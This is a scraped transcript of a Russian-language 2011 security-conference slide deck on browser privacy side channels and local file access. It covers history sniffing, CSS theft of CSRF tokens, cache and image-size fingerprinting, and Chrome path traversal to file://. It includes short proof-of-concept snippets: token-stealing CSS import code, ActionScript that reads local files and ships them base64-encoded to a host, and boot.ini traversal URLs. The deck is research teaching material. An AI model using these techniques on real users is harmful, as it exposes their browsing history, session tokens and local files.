onsec browsers security phd2011

Post on 30-Nov-2014

1.622 Views

Category:

Technology

4 Downloads

Preview:

Click to see full reader

DESCRIPTION

 

TRANSCRIPT

Безопасность браузеровНовый взгляд

Наиболее полное описание уязвимостей и механизмов безопасности, применяющихся в браузерах.Рассмотрим часть 2, главу "Life outside same-origin rules" раздел "Privacy-related side channels".http://code.google.com/p/browsersec/wiki/Part2

Google browser security handbook

Reading back CSS :visited class on linksFull-body CSS theft (Chris Evans 03/09/2010)Resource inclusion probes with onload and onerror checks.Image size fingerprintingCache timingGeneral resource timing (Chris Evans 11/12/2009)

Google browser security handbook

Для посещенных ссылок автоматически меняется цвет.В любом HTML документе, цвет ссылки можно прочитать через .getComputedStyle или .currentStyle (cross-domain).Если цвет ссылки поменялся, то злоумышленник делает вывод, что в истории жертвы есть целевая страница.Перебирая адреса страниц, злоумышленник получает историю посещений жертвы.

Reading back CSS :visited class on links (J.Ruderman at 2010)

Full-body CSS theft (Chris Evans 2010, only IE8)

Браузеры воспринимают HTML как CSS, который можно подключить через <STYLE>В HTML могут быть конфиденциальные данные (например, CSRF токен)Конф. данные можно получить благодаря гибкому CSS парсеру, встроенному в браузер.

<style>@import url("http://twitter.com/scarybeaststest");</style>var borrowed = document.body.currentStyle.fontFamily;var i = borrowed.indexOf("authenticity_token = '");borrowed = borrowed.substring(i + 22);

Resource inclusion probes with onload and onerror checks

Браузеры вызывают события onload/onerror в зависимости от HTTP статуса загрузки документаПри загрузке страниц с других доменов в тэгах: <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED> <IFRAME> <FRAME> отправляется запрос с аутентификационными данными (COKIES)Веб-приложения часто имеют страницы, HTTP статус которых зависит от авторизации пользователя (HTTP 3xx, HTTP 4xx)Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.

Image size finderprinting

Браузеры автоматически присваивают реальные размеры загруженному на страницу изображениюПри загрузке картинок с других доменов в тэге <IMG> отправляется запрос с аутентификационными данными (COKIES)Веб-приложения часто имеют динамические картинки, высота и ширина которых зависит от статуса авторизации пользователя (или др. прав)Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.

Cache timing

После посещения страницы, она копируется в кэш браузера - локальные данные ПКЕсли страница находится к кэше, ее загрузка осуществляется существенно быстрее (пропорционально размеру страницы)Злоумышленник может проверить наличие страницы в кэше браузера жертвы зная время ее загрузки (IFRAME -> onload event)

General resource timing (Chris Evans 11/12/2009)

Часто размер динамической страницы веб-приложения зависит от статуса авторизации пользователяЕсли пользователь авторизован, время загрузки страницы будет отличаться от случая, когда пользователь не авторизованЗлоумышленник может проверить статус авторизации жертвы зная время ее загрузки (IFRAME -> onload event)

Новое в Image size finderprinting.

Internet Explorer 8, 9, 10 (platform preview) поддерживают свойство fileSize для объектов image (<img>) и document, что позволяет получить размер картинки в байтахfileSize позволяет сильно улучшить зону покрытия методаМетод можно использовать не только для проверки авторизации, но и для проверки наличия локальных файлов картинок при открытии HTML в зоне file://

Механизмы загрузки файлов в браузерах

Можно ли загрузить произвольный файл на диск без согласия пользователя?Можно ли предугадать путь к загруженному файлу?

Механизмы кэширования в браузерах

Рассмотрим как кэш браузера храниться на диске (файлы, SQLite).В каких случаях кэшированные страницы можно использовать как локальные HTML из того же браузера

Cache finderprinting (Chrome)Требует локального HTML с кодом PoСИспользуем размеры картинок как сигнатуры для распознавания сайтов в кэше. Можно определить размер кэша с точностью N, где N - среднее количество файлов кэша, на которое приходиться одна картинка

Cache finderprinting (Chrome)Почему работает метод?

Кэш храниться в виде раздельных локальных файловВозможен доступ к файлам с кэшем из браузераИмена кэш-файлов предугадываемые (нумерованные)Image size finderprintingНа проверяемом сайте есть картинка уникальных размеров или их последовательность:

В примере: Youtube: 113x392, Google: 284x189 && 167x253

Local files access (HTML)Можно ли получить содержимое локальных файлов через .innerHTML?Как проверить наличие произвольного локального файла с ФС?

Local files access (SWF)Файл должен быть собран с опцией (Flex)

--use-network=falseПлагин должен быть открыт в зоне file://

private function getData(name:String):void{ var url:URLRequest=new URLRequest(name); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,populate); loader.load(url); }private function sendData(host:String,data:String):void{ var enc:Base64Encoder=new Base64Encoder(); enc.encode(data); data=enc.toString(); navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self"); } http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf

http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/

Local files access (SWF)

http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdfhttp://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/

Local files access (PDF)

Adobe 908Adobe 925

We will begin our investigation based on that information.

In the meantime, we ask that you do not publicly disclose this potential issue, in order to protect Adobe's customers. This has been assigned the Adobe tracking number 908.

From http:// to file:// (Chrome)Issue 72492 (Feb 9, 2011)

Из командой строки (.lnk файлов) URL вида http://google.com/../../../../../../../../../../boot.ini ведет на C:/boot.iniИз ссылок в приложениях (GTalk,ICQ,Skype) надо обойти встроенную нормализацию:

http://www.google.ru?q=OMFG../#a/../../../../../../../../../../../boot.ini

Можно вызвать через PDF документ расположенный в зоне http://:

app.launchURL("http://../../../../../../../boot.ini",true)

Pri-1 Area-Internals SecSeverity-Medium Type-Security Mstone-11

From http:// to file:// (Chrome)Pri-1 Area-Internals SecSeverity-Medium Type-Security Mstone-11

Атака из топора (stealing local file from remote in Chrome 11.0.696.68)

Атака из топора (stealing local file from remote in Chrome 11.0.696.68)

Что нас ждет? GUI уязвимостиURL spoofingPKI spoofingAction spoofingDialogs bypass

КОНТАКТЫ: D0znpp@ONSEC.RU

ВОПРОСЫ ???

top related